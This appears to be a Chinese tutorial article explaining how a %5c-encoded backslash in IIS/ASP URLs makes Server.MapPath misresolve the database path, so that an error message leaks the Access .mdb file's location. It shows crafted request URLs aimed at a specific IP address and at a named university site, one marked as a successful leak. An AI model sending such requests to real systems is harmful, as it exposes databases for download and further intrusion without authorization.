首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

安全基礎:暴庫原理與手法深度解析 (1) — %5c 編碼繞過 IIS 路徑解析

     編輯:關於SqlServer

什麼是暴庫?

不需 SQL Injection,直接透過特殊請求觸發錯誤訊息,洩露資料庫實體路徑(如 .mdb 完整路徑),進而下載或進一步滲透。比注入更簡單、隱蔽。

%5c 暴庫大法原理

  • %5c = \ 的 URL 編碼(十六進位)
  • IE 會自動將 \ 轉為 /,但 %5c 不會被 IE 轉換,原樣送至 IIS
  • IIS 解碼後將 %5c 還原為 \

關鍵差異

原始:https://site/yddown/view.asp?id=3
手工輸入 \:https://site/yddown\view.asp?id=3  → IE 自動轉 / → 正常存取
使用 %5c:https://site/yddown%5cview.asp?id=3 → IE 原樣送出 → IIS 解碼為 \

IIS 路徑解析邏輯漏洞

  1. ASP 頁面調用 conn.asp 連線資料庫
  2. conn.asp 典型寫法:
    DBPath = Server.MapPath("admin/rds_dbd32rfd213fg.mdb")
    conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
  3. Server.MapPath 將相對路徑轉為絕對路徑:
    網站實體根目錄 + 當前執行目錄相對路徑 + 參數相對路徑
  4. IIS 以 \ 代表實體目錄分隔,/ 代表虛擬路徑。遇到 \ 認為已到實體根目錄,**停止向上解析**

實戰演示

請求:https://219.237.81.46/yddown%5cview.asp?id=3
IIS 解析相對路徑:/yddown\
conn.asp 拼接:/yddown\ + admin/rds_dbd32rfd213fg.mdb
→ 實體路徑:D:\111\admin\rds_dbd32rfd213fg.mdb(錯誤,實際在 D:\111\yddown\admin\...)
→ JET 錯誤 80004005 暴露完整錯誤路徑

「第二個 /」迷思破解

流傳「必須換第二個 /」純屬經驗之談。實際規則:最右側第一個可觸發虛擬目錄邊界的 / 換成 %5c 成功率最高。三級目錄站點換第三個 / 同理可行。

真實案例驗證

https://nice.xmu.edu.cn/channely%5cblog/showlog.asp?cat_id=31&log_id=246  → 失敗
https://nice.xmu.edu.cn/channely/blog%5cshowlog.asp?cat_id=31&log_id=246  → 成功暴庫
→ 驗證 channely 為虛擬目錄指向 H:\channely\,故需在 blog 後插入 %5c

結語

暴庫本質是利用 IIS 解碼與路徑解析差異,配合 ASP 錯誤訊息預設顯示詳細資訊。下篇將深入 conn.asp 直接暴庫手法。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved